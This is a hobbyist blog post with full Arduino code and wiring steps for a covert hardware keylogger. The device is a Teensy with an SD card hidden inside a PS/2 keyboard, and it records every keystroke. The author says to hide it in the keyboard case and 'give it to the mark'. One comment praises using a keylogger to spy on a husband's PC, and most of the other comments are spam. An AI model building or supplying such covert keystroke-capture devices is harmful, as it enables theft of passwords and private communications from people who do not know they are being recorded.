By: Shawn McCombs
This is my first project with the teensy it was mainly inspired by, Adrian Crenshaw's "PHUKD" device. Thank you Adrian for the idea.
Problem: the Ctrl, Alt, Windows keys, caps lock and a few other special keys do not work right. I'm sure someone can fix them. Comment if you can, and how. Thanks.
The log file looks like this:
This is what the log file [ENTER]
looks[ENTER]
[UPARROW]
like.essays could kill your teensy ram XP[ENTER]
looks[ENTER]
[UPARROW]
like.essays could kill your teensy ram XP[ENTER]
Items needed:
- Teensy
- Sdcard adapter
- PS2 Keyboard - any US keyboard will do
- USB Cable - to program the teensy, and use as a keyboard cable.
Attach the SD Adapter:
I did mine a bit differently, I solderd pins on the bottom, then a dip socket on top of the teensy, and then put pins on the sd adapter, so it all plugs together. I am using this teensy as a prototyping device. I do not have the money to buy a teensy for all of my projects.
Attach the keyboard:
http://www.pjrc.com/teensy/td_libs_PS2Keyboard.html
I attached the data pin to 9, and the IRQ to pin 8 on my teensy.
I used some extra wire, and some easy pin connectors things that I riped out of some old computers to connect the keyboard.
The code:
#include <SdFat.h>
#include <PS2Keyboard.h>
const int chipSelect = 0;
const int DataPin = 9;
const int IRQpin = 8;
String keylog = "";
PS2Keyboard keyboard;
SdFat sd;
SdFile myFile;
void setup() {
sd.init(SPI_HALF_SPEED, chipSelect);
keyboard.begin(DataPin, IRQpin);
}
void loop() {
if (keyboard.available()) {
myFile.open("test.txt", O_RDWR | O_CREAT | O_AT_END);
// read the next key
char c = keyboard.read();
// check for some of the special keys
if (c == PS2_ENTER) {
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
keylog += "[ENTER]";
myFile.println(keylog);
myFile.close();
keylog = "";
} else if (c == PS2_TAB) {
Keyboard.set_key1(KEY_TAB);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[TAB]");
myFile.close();
} else if (c == PS2_ESC) {
Keyboard.set_key1(KEY_ESC);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[ESC]");
myFile.close();
} else if (c == PS2_PAGEDOWN) {
Keyboard.set_key1(KEY_PAGE_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEDOWN]");
myFile.close();
} else if (c == PS2_PAGEUP) {
Keyboard.set_key1(KEY_PAGE_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEUP]");
myFile.close();
} else if (c == PS2_LEFTARROW) {
Keyboard.set_key1(KEY_LEFT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[LEFTARROW]");
myFile.close();
} else if (c == PS2_RIGHTARROW) {
Keyboard.set_key1(KEY_RIGHT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[RIGHTARROW]");
myFile.close();
} else if (c == PS2_UPARROW) {
Keyboard.set_key1(KEY_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[UPARROW]");
myFile.close();
} else if (c == PS2_DOWNARROW) {
Keyboard.set_key1(KEY_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DOWNARROW]");
myFile.close();
} else if (c == PS2_HOME) {
Keyboard.set_key1(KEY_HOME);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[HOME]");
myFile.close();
} else if (c == PS2_SCROLL) {
Keyboard.set_key1(KEY_SCROLL_LOCK);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[SCROLL]");
myFile.close();
} else if (c == PS2_BACKSPACE) {
Keyboard.set_key1(KEY_BACKSPACE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[BACKSPACE]");
myFile.close();
} else if (c == PS2_DELETE) {
Keyboard.set_key1(KEY_DELETE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DELETE]");
myFile.close();
} else {
// otherwise, just print all normal characters
Keyboard.print(c);
keylog += c;
}
}
}
Finishing it up:
All you have to do at that point is just test it, cram it inside the keyboard case and give it to the mark.
Thanks everyone, leave comments, questions etc. Hope you like the project.
Thanks everyone, leave comments, questions etc. Hope you like the project.


Good work bro! Ill buy one from you.......lol
ReplyDeleteI don't know how much use it'll be, but I'm working on a similar project but without the USB. you might find it easier to deal with scancodes rather than ascii, have a look http://elektrickery.blogspot.com/p/keyboard.html
ReplyDeleteCheck out the PHUKD lib for teensy. I believe the key modifiers should help you solve the windows, shift, alt, ctrl keys and such.
ReplyDeleteThe problem isn't sending ctrl, alt, win. Its having the teensy acknowledge them, the ps2keyboard lib, does not acknowledge them :(
ReplyDeleteIt may be fugly, but my code does :)
ReplyDeleteI think the ps2keyboard lib was mainly written for getting text into an arduino rather than key presses if that makes sense...
Currently I have been working on the code and have gotten the windows key to work. Now just a few more :/ lol
ReplyDeleteI am really happy with my Hardware Keylogger .Now it became easy for me to spy my husband PC :) I get it from http://www.keydemon.com
ReplyDeleteWe stumbled oveг here from a different web aԁԁress and thought I mіght as well cheсκ things out.
ReplyDeleteI like ωhat I see so i am just follоwing you.
Look forward to checking out your wеb
page for a second time.
Mу ωebpаge ... tens units
Good гesponse іn return of this question with real arguments and
ReplyDeleteexplaining eveгything on the topic of that.
mу web site :: Taxi Service Irving Texas
my website :: irving taxi blog
You have mаdе some ԁecent ρoints theгe.
ReplyDeleteI looked оn the internet to learn more аbout
the issue and found most indiνіduals will go
alοng with your viewѕ on this ѕіtе.
My blog pοst; make money buying and selling cars for profit
Thank you for the good ωriteup. It if truth bе told
ReplyDeletewas оncе a enjοyment aссount
it. Loоκ complicatеԁ to fаr
brought agreeable from уou! Вy the way, how cоuld we be in contасt?
my homepаge; seo dallas texas
Αt thiѕ moment I am ready to do my breakfаst,
ReplyDeletewhen haνing my breakfаst coming yet agаіn to rеad other news.
Hеrе is mу webρage; www.planohousesforrent.com
whoah this blog is great i love reading your articles.
ReplyDeleteStay up the good work! You understand, many persons are looking round for this info, you could
help them greatly.
Also visit my webpage acoustic guitar chords for beginners